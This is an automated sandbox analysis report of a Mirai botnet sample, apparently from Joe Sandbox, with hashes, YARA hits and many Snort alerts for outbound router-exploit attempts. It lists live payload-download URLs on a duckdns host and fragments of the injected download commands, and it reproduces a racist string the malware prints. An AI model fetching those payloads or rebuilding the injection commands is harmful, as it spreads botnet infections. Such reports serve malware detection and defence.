Edit tour

Linux Analysis Report
fMB6uAXjd0.elf

Overview

General Information

Sample Name:	fMB6uAXjd0.elf
Analysis ID:	728568
MD5:	e8a738a14a114c60324a7cbfb61730bd
SHA1:	f152928b44a9025929b905e8d2e5c7b258d6b98e
SHA256:	fb178c4ffa1bd9d6b872187f35a1b4330e58dc83bff5b633bd1e4ff0c114c2d0
Tags:	32elfmiraisparc
Infos:

Detection

Mirai

Score:	96
Range:	0 - 100
Whitelisted:	false

Signatures

Yara detected Mirai

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Snort IDS alert for network traffic

Uses known network protocols on non-standard ports

Uses dynamic DNS services

Yara signature match

Uses the "uname" system call to query kernel version information (possible evasion)

Enumerates processes within the "proc" file system

Detected TCP or UDP traffic on non-standard ports

Sample listens on a socket

Sample contains strings that are potentially command strings

Sample has stripped symbol table

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	728568
Start date and time:	2022-10-23 17:55:49 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 36s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	fMB6uAXjd0.elf
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Detection:	MAL
Classification:	mal96.troj.linELF@0/0@2/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: http://127.0.0.1/cgi-bin/ViewLog.asp
VT rate limit hit for: http://127.0.0.1:52869/wanipcn.xml
VT rate limit hit for: http://amkbins.duckdns.org/bins/ascaris.arm7;
VT rate limit hit for: http://amkbins.duckdns.org/bins/ascaris.arm7;chmod
VT rate limit hit for: http://amkbins.duckdns.org/bins/ascaris.mips
VT rate limit hit for: http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20-
VT rate limit hit for: http://amkbins.duckdns.org/bins/ascaris.x86

Runtime Messages

Command:	/tmp/fMB6uAXjd0.elf
PID:	6235
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	gosh that chinese family at the other table sure ate a lot
Standard Error:

Process Tree

system is lnxubuntu20

fMB6uAXjd0.elf (PID: 6235, Parent: 6125, MD5: 7dc1c0e23cd5e102bb12e5c29403410e) Arguments: /tmp/fMB6uAXjd0.elf

fMB6uAXjd0.elf New Fork (PID: 6237, Parent: 6235)

fMB6uAXjd0.elf New Fork (PID: 6239, Parent: 6237)

fMB6uAXjd0.elf New Fork (PID: 6240, Parent: 6237)

fMB6uAXjd0.elf New Fork (PID: 6242, Parent: 6237)

fMB6uAXjd0.elf New Fork (PID: 6245, Parent: 6237)

fMB6uAXjd0.elf New Fork (PID: 6247, Parent: 6237)

fMB6uAXjd0.elf New Fork (PID: 6249, Parent: 6237)

fMB6uAXjd0.elf New Fork (PID: 6250, Parent: 6237)

fMB6uAXjd0.elf New Fork (PID: 6253, Parent: 6237)

fMB6uAXjd0.elf New Fork (PID: 6254, Parent: 6237)

fMB6uAXjd0.elf New Fork (PID: 6257, Parent: 6237)

fMB6uAXjd0.elf New Fork (PID: 6259, Parent: 6237)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
fMB6uAXjd0.elf	Mirai_Botnet_Malware	Detects Mirai Botnet Malware	Florian Roth	0x139d0:$x2: /dev/misc/watchdog 0x139c0:$x3: /dev/watchdog 0x14b90:$s5: HWCLVGAJ
fMB6uAXjd0.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
fMB6uAXjd0.elf	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
fMB6uAXjd0.elf	Linux_Trojan_Mirai_0bce98a2	unknown	unknown	0x14b84:$a: 4B 52 41 00 46 47 44 43 57 4E 56 00 48 57 43 4C 56 47 41 4A

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Mirai_12	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
6235.1.00007ff2b0011000.00007ff2b0027000.r-x.sdmp	Mirai_Botnet_Malware	Detects Mirai Botnet Malware	Florian Roth	0x139d0:$x2: /dev/misc/watchdog 0x139c0:$x3: /dev/watchdog 0x14b90:$s5: HWCLVGAJ
6235.1.00007ff2b0011000.00007ff2b0027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6235.1.00007ff2b0011000.00007ff2b0027000.r-x.sdmp	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
6235.1.00007ff2b0011000.00007ff2b0027000.r-x.sdmp	Linux_Trojan_Mirai_0bce98a2	unknown	unknown	0x14b84:$a: 4B 52 41 00 46 47 44 43 57 4E 56 00 48 57 43 4C 56 47 41 4A

Snort Signatures

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 83.169.5.154

Timestamp:	192.168.2.2383.169.5.15443118802846380 10/23/22-17:57:01.341530
SID:	2846380
Source Port:	43118
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.77.239.104

Timestamp:	192.168.2.23195.77.239.10450098802846457 10/23/22-17:58:21.709517
SID:	2846457
Source Port:	50098
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.66.75.174

Timestamp:	192.168.2.23188.66.75.17447020802846457 10/23/22-17:58:07.972266
SID:	2846457
Source Port:	47020
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.221.153.186

Timestamp:	192.168.2.2388.221.153.18655382802027121 10/23/22-17:57:13.448584
SID:	2027121
Source Port:	55382
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 93.188.246.186

Timestamp:	192.168.2.2393.188.246.18639222802841623 10/23/22-17:56:53.628982
SID:	2841623
Source Port:	39222
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.210.138.125

Timestamp:	192.168.2.2389.210.138.12548964802846457 10/23/22-17:58:10.349893
SID:	2846457
Source Port:	48964
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.62.200.141

Timestamp:	192.168.2.23178.62.200.14141160802846380 10/23/22-17:58:27.467122
SID:	2846380
Source Port:	41160
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.157.21.197

Timestamp:	192.168.2.2382.157.21.19744928802846380 10/23/22-17:57:55.462907
SID:	2846380
Source Port:	44928
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 86.120.194.188

Timestamp:	192.168.2.2386.120.194.18837138802846380 10/23/22-17:58:19.944979
SID:	2846380
Source Port:	37138
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.79.48.174

Timestamp:	192.168.2.2395.79.48.17445426802027121 10/23/22-17:57:36.434806
SID:	2027121
Source Port:	45426
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.29.250.146

Timestamp:	192.168.2.2346.29.250.14645486802846457 10/23/22-17:57:53.195768
SID:	2846457
Source Port:	45486
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.163.80.197

Timestamp:	192.168.2.2395.163.80.19756796802027121 10/23/22-17:56:55.629477
SID:	2027121
Source Port:	56796
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.22.112.183

Timestamp:	192.168.2.2389.22.112.18335916802846457 10/23/22-17:57:55.908028
SID:	2846457
Source Port:	35916
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 83.1.194.47

Timestamp:	192.168.2.2383.1.194.4741534802846380 10/23/22-17:58:31.017754
SID:	2846380
Source Port:	41534
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.99.138.117

Timestamp:	192.168.2.2388.99.138.11735390802027121 10/23/22-17:56:51.035586
SID:	2027121
Source Port:	35390
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 52.40.241.151

Timestamp:	192.168.2.2352.40.241.15145210802841623 10/23/22-17:57:20.230013
SID:	2841623
Source Port:	45210
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.16.50.170

Timestamp:	192.168.2.23213.16.50.17051602802846380 10/23/22-17:56:58.195822
SID:	2846380
Source Port:	51602
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.238.59.180

Timestamp:	192.168.2.23213.238.59.18058408802846380 10/23/22-17:57:54.109941
SID:	2846380
Source Port:	58408
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.115.247.17

Timestamp:	192.168.2.23178.115.247.1737470802846380 10/23/22-17:57:27.993436
SID:	2846380
Source Port:	37470
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.68.25.31

Timestamp:	192.168.2.2395.68.25.3137366802027121 10/23/22-17:58:15.253758
SID:	2027121
Source Port:	37366
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.48.187.15

Timestamp:	192.168.2.23112.48.187.1541664802027121 10/23/22-17:58:25.717935
SID:	2027121
Source Port:	41664
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 104.173.4.136

Timestamp:	192.168.2.23104.173.4.1365681275472023548 10/23/22-17:57:55.431713
SID:	2023548
Source Port:	56812
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 8.219.182.61

Timestamp:	192.168.2.238.219.182.6137142802835222 10/23/22-17:58:09.988784
SID:	2835222
Source Port:	37142
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.168.211.65

Timestamp:	192.168.2.2395.168.211.6555322802027121 10/23/22-17:57:43.876716
SID:	2027121
Source Port:	55322
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.176.44.82

Timestamp:	192.168.2.23213.176.44.8249726802846380 10/23/22-17:57:37.999015
SID:	2846380
Source Port:	49726
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.100.239.123

Timestamp:	192.168.2.2395.100.239.12337604802027121 10/23/22-17:57:34.527124
SID:	2027121
Source Port:	37604
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.249.235.61

Timestamp:	192.168.2.23206.249.235.6154176802846380 10/23/22-17:57:29.944319
SID:	2846380
Source Port:	54176
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.128.243.147

Timestamp:	192.168.2.2385.128.243.14737520802846457 10/23/22-17:58:01.351031
SID:	2846457
Source Port:	37520
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.156.238.9

Timestamp:	192.168.2.2395.156.238.959532802027121 10/23/22-17:57:10.578364
SID:	2027121
Source Port:	59532
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 84.137.62.241

Timestamp:	192.168.2.2384.137.62.24135770802846457 10/23/22-17:57:18.368357
SID:	2846457
Source Port:	35770
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.9.94.198

Timestamp:	192.168.2.23195.9.94.19850198802846457 10/23/22-17:58:21.697652
SID:	2846457
Source Port:	50198
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.217.48.166

Timestamp:	192.168.2.2395.217.48.16641132802027121 10/23/22-17:58:27.445125
SID:	2027121
Source Port:	41132
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.249.124.146

Timestamp:	192.168.2.2388.249.124.14641718802027121 10/23/22-17:57:05.166994
SID:	2027121
Source Port:	41718
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 37.109.51.19

Timestamp:	192.168.2.2337.109.51.1952366802846457 10/23/22-17:56:51.879347
SID:	2846457
Source Port:	52366
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.94.112.97

Timestamp:	192.168.2.23200.94.112.9738864802846380 10/23/22-17:58:17.610079
SID:	2846380
Source Port:	38864
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 122.254.97.71

Timestamp:	192.168.2.23122.254.97.7133850528692027339 10/23/22-17:58:20.061747
SID:	2027339
Source Port:	33850
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 84.86.92.65

Timestamp:	192.168.2.2384.86.92.6547494802846457 10/23/22-17:57:56.399097
SID:	2846457
Source Port:	47494
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.221.76.116

Timestamp:	192.168.2.2388.221.76.11652184802027121 10/23/22-17:56:55.629611
SID:	2027121
Source Port:	52184
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.221.68.244

Timestamp:	192.168.2.2388.221.68.24436880802027121 10/23/22-17:58:09.637346
SID:	2027121
Source Port:	36880
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 2.18.235.23

Timestamp:	192.168.2.232.18.235.2359882802846457 10/23/22-17:57:28.754342
SID:	2846457
Source Port:	59882
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.128.164.135

Timestamp:	192.168.2.23188.128.164.13538398802846457 10/23/22-17:58:07.920925
SID:	2846457
Source Port:	38398
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.48.187.15

Timestamp:	192.168.2.23112.48.187.1541692802027121 10/23/22-17:58:25.936044
SID:	2027121
Source Port:	41692
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.32.148.70

Timestamp:	192.168.2.2389.32.148.7040040802846457 10/23/22-17:57:38.011306
SID:	2846457
Source Port:	40040
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 37.211.17.200

Timestamp:	192.168.2.2337.211.17.20059408802846457 10/23/22-17:57:29.018473
SID:	2846457
Source Port:	59408
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.223.227.39

Timestamp:	192.168.2.2382.223.227.3937670802846380 10/23/22-17:57:07.329740
SID:	2846380
Source Port:	37670
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 84.7.151.16

Timestamp:	192.168.2.2384.7.151.1646206528692027339 10/23/22-17:57:20.270827
SID:	2027339
Source Port:	46206
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.188.129.155

Timestamp:	192.168.2.2395.188.129.15556402802027121 10/23/22-17:57:21.135322
SID:	2027121
Source Port:	56402
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 202.90.153.223

Timestamp:	192.168.2.23202.90.153.22354594802841623 10/23/22-17:58:14.263264
SID:	2841623
Source Port:	54594
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 171.238.97.37

Timestamp:	192.168.2.23171.238.97.3759214802846457 10/23/22-17:57:59.974478
SID:	2846457
Source Port:	59214
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.101.162.94

Timestamp:	192.168.2.2395.101.162.9437358802027121 10/23/22-17:58:27.488384
SID:	2027121
Source Port:	37358
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 162.83.143.188

Timestamp:	192.168.2.23162.83.143.18849864802841623 10/23/22-17:57:20.378520
SID:	2841623
Source Port:	49864
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.62.89.166

Timestamp:	192.168.2.23178.62.89.16655268802846380 10/23/22-17:58:27.260602
SID:	2846380
Source Port:	55268
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.153.27.209

Timestamp:	192.168.2.2382.153.27.20945256802846380 10/23/22-17:58:04.029491
SID:	2846380
Source Port:	45256
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.221.47.153

Timestamp:	192.168.2.2388.221.47.15358532802027121 10/23/22-17:57:18.680205
SID:	2027121
Source Port:	58532
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.159.7.2

Timestamp:	192.168.2.23213.159.7.240422802846380 10/23/22-17:56:58.194033
SID:	2846380
Source Port:	40422
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.128.198.109

Timestamp:	192.168.2.2385.128.198.10960226802846457 10/23/22-17:58:01.351204
SID:	2846457
Source Port:	60226
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 89.207.18.180

Timestamp:	192.168.2.2389.207.18.18044328528692027339 10/23/22-17:57:44.641165
SID:	2027339
Source Port:	44328
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 77.163.130.220

Timestamp:	192.168.2.2377.163.130.22032968802835222 10/23/22-17:57:04.036152
SID:	2835222
Source Port:	32968
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.168.162.152

Timestamp:	192.168.2.23213.168.162.15245228802846380 10/23/22-17:57:48.525193
SID:	2846380
Source Port:	45228
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.217.208.243

Timestamp:	192.168.2.2395.217.208.24347200802027121 10/23/22-17:57:13.009624
SID:	2027121
Source Port:	47200
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.101.158.222

Timestamp:	192.168.2.2395.101.158.22234014802027121 10/23/22-17:58:15.265646
SID:	2027121
Source Port:	34014
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 61.241.147.228

Timestamp:	192.168.2.2361.241.147.22837886802846457 10/23/22-17:57:51.681033
SID:	2846457
Source Port:	37886
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 54.217.124.45

Timestamp:	192.168.2.2354.217.124.4532912802835221 10/23/22-17:58:21.159984
SID:	2835221
Source Port:	32912
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 37.72.203.35

Timestamp:	192.168.2.2337.72.203.3554416528692027339 10/23/22-17:58:30.504592
SID:	2027339
Source Port:	54416
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.250.162.180

Timestamp:	192.168.2.2388.250.162.18057872802027121 10/23/22-17:57:21.371554
SID:	2027121
Source Port:	57872
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.33.108.127

Timestamp:	192.168.2.23178.33.108.12760484802846380 10/23/22-17:58:13.489022
SID:	2846380
Source Port:	60484
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.175.97.51

Timestamp:	192.168.2.2395.175.97.5146688802027121 10/23/22-17:57:34.533379
SID:	2027121
Source Port:	46688
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 164.70.13.69

Timestamp:	192.168.2.23164.70.13.6947254802846457 10/23/22-17:57:55.976971
SID:	2846457
Source Port:	47254
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.40.218.126

Timestamp:	192.168.2.23188.40.218.12641988802846457 10/23/22-17:58:07.896485
SID:	2846457
Source Port:	41988
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.203.186.179

Timestamp:	192.168.2.2388.203.186.17933278802027121 10/23/22-17:58:10.598501
SID:	2027121
Source Port:	33278
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.216.76.153

Timestamp:	192.168.2.2395.216.76.15342048802027121 10/23/22-17:58:24.028327
SID:	2027121
Source Port:	42048
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 72.34.52.16

Timestamp:	192.168.2.2372.34.52.1655066802841623 10/23/22-17:56:49.234026
SID:	2841623
Source Port:	55066
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.235.62.239

Timestamp:	192.168.2.2385.235.62.23945792802846457 10/23/22-17:57:58.585748
SID:	2846457
Source Port:	45792
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.35.226.75

Timestamp:	192.168.2.235.35.226.7539522802846457 10/23/22-17:57:08.374548
SID:	2846457
Source Port:	39522
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 149.96.34.126

Timestamp:	192.168.2.23149.96.34.12645698802841623 10/23/22-17:57:38.794574
SID:	2841623
Source Port:	45698
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.68.47.126

Timestamp:	192.168.2.23188.68.47.12635108802846457 10/23/22-17:58:17.658160
SID:	2846457
Source Port:	35108
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.221.131.233

Timestamp:	192.168.2.23112.221.131.23353588802027121 10/23/22-17:57:28.559296
